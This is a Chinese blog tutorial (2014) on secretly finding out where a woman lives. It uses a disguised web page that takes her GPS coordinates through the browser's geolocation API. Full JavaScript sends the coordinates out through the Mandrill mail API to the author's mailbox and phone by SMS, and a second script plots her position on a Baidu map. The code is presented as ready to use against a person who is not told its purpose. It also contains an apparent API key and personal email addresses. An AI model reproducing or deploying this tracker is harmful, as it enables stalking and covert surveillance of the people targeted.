菜单

循序渐进

    Java Oracle MySQL Bash Python Nginx Apache Redis MongoDB Git HTML Javascript Node CSS

最近来访

    屌丝的福音.定位女神在哪里

    张嘉杰.原创 2014-09-19 browser

    周五下班回家路上,接到了一位很久未联系的朋友打过来的电话(省略一些敏感话题),切入主题:哥们儿想知道自己的女神住哪儿,又不方便直接问。我想到了一个自己在2012年做项目的时候,使用过的一个方法,在这里分享给需要的朋友。

    实现思路:

    1. 设计美观界面。  
    2. 让女神访问固定地址,获取其IP、经度、纬度。  
    3. 获取成功,触发邮件至139邮箱(设置短信提醒)。
    4. 通过短信返回URL地址,访问地图标出精确位置。

    使用技术:

    +-----------+---------+-------------------------+
    |  Project  | Version |       Description       |
    +-----------------------------------------------+
    |  jQuery   | 1.11.1  |  javaScript Framework   |
    +-----------------------------------------------+
    | MailChimp |   1.0   |     Mail Providers      |
    +-----------------------------------------------+
    | Map Baidu |   2.0   |     Map Providers       |
    +-----------------------------------------------+
    |Geolocation|  html5  |     Geolocation api     |
    +-----------+---------+-------------------------+

    技术介绍:

    jQuery 具体就不说啦 大家可以去官网方站。

    百度地图API 用的是javascript API大众版。

    Mail_Mandrill 支持html5新属性的浏览器(IE9以下的还是放弃吧)。

    139邮箱需要设置邮件短信提醒功能。

    免费的邮件服务有很多,像 Mail_MandrillMail_MailgunMail_SOHO。 主要说下 Mail_Mandrill ,参考文档:Api_Mail_Mandrill,注册过程看图。

    Mandrill 注册账号:

    Mail_Mandrill_0

    Mandrill 获取API:

    Mail_Mandrill_1

    Mandrill 创建API keys:

    Mail_Mandrill_2

    HTML5 Geolocation API的使用方法及实现原理

    女神访问页面脚本:

    var Goddess = {
        /** 防止重复 */
        repeat : true,
        /** 初始化 */
        init: function() {
            var self = this;
            if(this.repeat) {
               this.gps(function(mail) {
                    self.sendMail({ subject : mail.subject, html : mail.html });
                    this.repeat = false;
               });
            }
        },
        /** 获取gps经度纬度坐标 */
        gps: function(callfun) {
            //判断浏览器是否支持geolocation
            if(navigator.geolocation){
                var message = "", address="";
                navigator.geolocation.getCurrentPosition(function (position){
                    var lon = position.coords.longitude; //经度
                    var lat = position.coords.latitude;  //纬度
    
                    if(position.address){  //是否支持address属性
                        //通过address,可以获得国家、省份、城市
                        var _a = position.address;
                        address =  "(" + (_a.country + _a.province + _a.city) + ")";
                    }
                    message = ( "lat=" + lat + "&lon=" + lon );
                    callfun({
                        tip : true,
                        subject : "女神地址获取成功,速速查看^0^...",
                        html : "<a href=\"http://jcore.cn/getaddress.html?"+message+"\" target=\"_blank\" >戳我..."+ address +"</a>"
                    });
    
                }, function (error) {
                    var type = { //转义友好提示
                        1: ['这里转义友好提示.[1]', "女神拒绝提供地理位置(自己想办法咯)"],
                        2: ['这里转义友好提示.[2]', "获取不到女神位置信息(爱莫能助啊)"],
                        3: ['这里转义友好提示.[3]', "超时(多访问几次,或者过段时间再次尝试)"]
                    }
                    var tip = type[error.code];
                    alert(tip[0]);
                    message = ('获取数据失败:' + tip[1]);
                    callfun({  //失败也发送错误提醒
                        tip : true,
                        subject : "女神地址获取失败,不哭不哭T_T...",
                        html : message
                    });
                });
            }
        },
        /** 发送邮件 */
        sendMail: function(mail){
            if (mail.subject == "" || mail.html == "") return;
            //jQuery发送请求
            $.ajax({
                type: "POST",
                url: "https://mandrillapp.com/api/1.0/messages/send.json", //json接口地址
                data:{
                    "key": "xuMao7xRBKlImfxtfl3IlA", //服务允许key
                    "message":{
                        "from_email": "zj7687362@gmail.com", //发送邮件地址
                        "to": [ //发送信息(可多个同时发送)
                            {
                                "email": "zhangjiajie1314@139.com",
                                "name": "张嘉杰",
                                "type": "to"
                            }
                        ],
                        "subject": mail.subject || "", //邮件标题
                        "html": mail.html || "" //邮件内容
                    }
                }
            }).done(function (response) {
                console.log(response);
                alert("成功咯.");
            });
        }
    }

    接收显示页面脚本:

    (function(){
        function load_script(xyUrl, callback){
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.src = xyUrl;
            script.onload = script.onreadystatechange = function(){
                if((!this.readyState || this.readyState === "loaded" || this.readyState === "complete")){
                    callback && callback();
                    script.onload = script.onreadystatechange = null;
                    if ( head && script.parentNode ) {
                        head.removeChild( script );
                    }
                }
            };
            head.insertBefore( script, head.firstChild );
        }
        function translate(point,type,callback){
            var callbackName = 'cbk_' + Math.round(Math.random() * 10000);	//随机函数名
            var xyUrl = "http://api.map.baidu.com/ag/coord/convert?" +
                        "from="+ type +
                        "&to=4" +
                        "&x=" + point.lng +
                        "&y=" + point.lat +
                        "&callback=BMap.Convertor." + callbackName;
            //动态创建script标签
            load_script(xyUrl);
            BMap.Convertor[callbackName] = function(xyResult){
                delete BMap.Convertor[callbackName];	//调用完需要删除改函数
                var point = new BMap.Point(xyResult.x, xyResult.y);
                callback && callback(point);
            }
        }
        window.BMap = window.BMap || {};
        BMap.Convertor = {};
        BMap.Convertor.translate = translate;
    })();
    //获取URL参数
    function getQueryStringRegExp(name) {
        var reg = new RegExp("(^|\\?|&)"+ name +"=([^&]*)", "i");
        if (reg.test(location.href))
            return unescape(RegExp.$2.replace(/\+/g, " "));
        return "";
    };
    var lon = getQueryStringRegExp('lon');
    var lat = getQueryStringRegExp('lat');
    // 百度地图API功能
    var gpsPoint = new BMap.Point(lon,lat);
    //地图初始化
    var bm = new BMap.Map("allmap");
    bm.centerAndZoom(gpsPoint, 16);
    bm.addControl(new BMap.NavigationControl());
    //坐标转换完之后的回调函数
    var translateCallback = function (point){
        var marker = new BMap.Marker(point);
        bm.addOverlay(marker);
        var label = new BMap.Label("亲,女神的位置哦",{offset:new BMap.Size(20,-10)});
        marker.setLabel(label); //添加百度label
        bm.setCenter(point);
        console.log(point.lng + "," + point.lat);
    }
    setTimeout(function(){
        new BMap.Convertor.translate(gpsPoint,0,translateCallback);	 //真实经纬度转成百度坐标
    }, 2000); //延迟2秒执行

    演示操作流程截图:(演示使用iphone5s默认浏览器Safari)

    女神初次访问地址未开权限提示:(记得修改友好提示)

    Goddess_0

    打开浏览器Safari定位服务:

    Goddess_1

    允许使用当前位置:

    Goddess_2

    根据短信提供地址,得到下图:

    Goddess_3

    到这里基本就完成了。后期补上demo :)


    相关文档地址:

    Geolocation-API - http://www.htmq.com/geolocation/
    百度地图API - http://developer.baidu.com/map/
    jQuery - http://jquery.com/
    Mail_SOHO - http://sendcloud.sohu.com/
    Mail_Mailgun - http://www.mailgun.com/
    Mail_Mandrill - http://mandrillapp.com/
    Api_Mail_Mandrill - https://mandrillapp.com/api/docs/messages.JSON.html


    版权属于:jcore.cn

    原文地址:http://www.jcore.cn/2014/09/19/browser-position

    除非注明,文章均为原创,转载时必须以链接形式注明原始出处。

    分享文章到:

    热门推荐文章